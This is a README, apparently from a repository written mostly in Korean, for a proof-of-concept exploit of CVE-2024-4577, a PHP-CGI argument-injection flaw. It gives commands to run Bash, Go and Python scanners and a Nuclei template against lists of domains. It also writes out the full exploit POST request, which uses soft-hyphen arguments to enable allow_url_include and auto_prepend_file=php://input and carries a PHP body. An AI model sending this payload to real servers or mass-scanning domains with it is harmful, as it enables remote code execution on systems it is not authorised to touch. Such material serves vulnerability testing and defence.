
PHP RCE PoC for CVE-2024-4577 written in bash, go, python and a nuclei template
이 저장소에는 PHP-CGI의 인자 주입 문제인 CVE-2024-4577 취약점을 확인하는 스크립트가 포함되어 있습니다. 제공된 Bash, Go, Python 스크립트를 사용하여 도메인 목록에서 이 취약점을 테스트할 수 있습니다. Nuclei YAML 파일도 함께 공개했습니다.
Bash 스크립트를 사용하려면 다음 명령어를 실행하세요:
./CVE-2024-4577.sh /path/to/domains-list
먼저 Go 스크립트를 CVE-2024-4577.go 파일로 저장합니다. Go 스크립트를 빌드하고 실행하려면:
Go 스크립트를 바이너리로 컴파일합니다:
go build -o CVE-2024-4577 CVE-2024-4577.go
도메인 목록 파일을 인수로 하여 바이너리를 실행합니다:
./CVE-2024-4577 /path/to/domains-list
먼저 Python 스크립트를 CVE-2024-4577.py 파일로 저장합니다. Python 스크립트를 실행하려면:
requests 라이브러리가 설치되어 있는지 확인합니다:
pip install requests
도메인 목록 파일을 인수로 하여 Python 스크립트를 실행합니다:
python CVE-2024-4577.py /path/to/domains-list
(선택 사항) 취약한 호스트만 출력하려면:
python CVE-2024-4577.py /path/to/domains-list --quiet
취약점을 수동으로 테스트하려면 다음 POST 요청을 보낼 수 있습니다:
POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php phpinfo(); ?>
또한 취약한 인스턴스를 스캔하기 위한 Nuclei 템플릿도 만들었습니다. 이 템플릿은 v3 레이아웃 체계를 사용하며 랩 환경에서 테스트되었습니다:
nuclei -t CVE-2024-4577.yaml -u <target-url>
도메인 목록은 올바르게 읽히도록 http/https를 앞에 붙여야 합니다.
http://example.com
http://testsite.com
http://vulnerablesite.com
도메인이 취약한 것으로 확인되면 출력은 다음과 같습니다:
http://example.com: Vulnerable
http://vulnerablesite.com: Vulnerable